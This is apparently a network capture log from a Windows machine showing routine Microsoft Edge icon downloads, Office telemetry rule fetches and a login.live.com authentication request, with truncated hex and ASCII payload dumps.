2024-11-12 05:23:33 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	54519	13.107.246.57	443	7728	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:33 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 05:23:33 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:33 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 93a3a18f-901e-004b-34a2-34599d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T052333Z-16547b76f7fr4g8xhC1DFW9cqc0000000edg000000005gee Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:33 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	54521	13.107.246.57	443	7728	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:33 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 05:23:33 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:33 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 9296dea2-201e-003f-28a2-34dfdb000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T052333Z-15869dbbcc6j87jfhC1DFWr0yc00000007kg000000000v72 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:33 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	54520	13.107.246.57	443	7728	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:33 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 05:23:33 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:33 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 19db0411-001e-0028-5172-2c1fb8000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T052333Z-16547b76f7fwvr5dhC1DFW2c940000000f6g000000000743 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:33 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.5	54523	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:34 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:34 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:34 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: ea775dbe-901e-0016-4f03-2defe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052334Z-16547b76f7f7lhvnhC1DFWa2k00000000f1g00000000ddhg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:34 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	54522	40.126.31.69	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:34 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-12 05:23:34 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-12 05:23:34 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 12 Nov 2024 05:22:34 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C530_BL2 x-ms-request-id: 2f0f3d6e-990a-454e-aed0-f8231adb2758 PPServer: PPV: 30 H: BL02EPF0001D942 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 12 Nov 2024 05:23:33 GMT Connection: close Content-Length: 11392
2024-11-12 05:23:34 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.5	54524	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:34 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:34 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:34 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 86fb44b9-501e-0078-06d2-2c06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052334Z-16547b76f7fnlcwwhC1DFWz6gw0000000f8g00000000d552 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:34 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	54525	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:34 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:34 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:34 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: f10ad1d1-001e-000b-20a3-3415a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052334Z-17df447cdb5g2j9ghC1DFWuyag00000005kg00000000qhdb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 05:23:34 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	54527	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:34 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:34 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:34 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: f6fa4055-801e-008c-27a1-347130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052334Z-17df447cdb5wrr5fhC1DFWte8n0000000bwg00000000f7s2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 05:23:34 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	54526	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:34 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:34 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:34 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: f849fa6d-101e-00a2-16a3-349f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052334Z-15869dbbcc6rnr5chC1DFWwtp400000003w000000000cvrb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 05:23:34 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	54531	13.107.246.57	443	7728	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:34 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 05:23:35 UTC	523	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:35 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: 325dc9c5-101e-0073-28c3-3418c4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T052334Z-17df447cdb56mx55hC1DFWvbt400000008b000000000dww5 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 05:23:35 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb 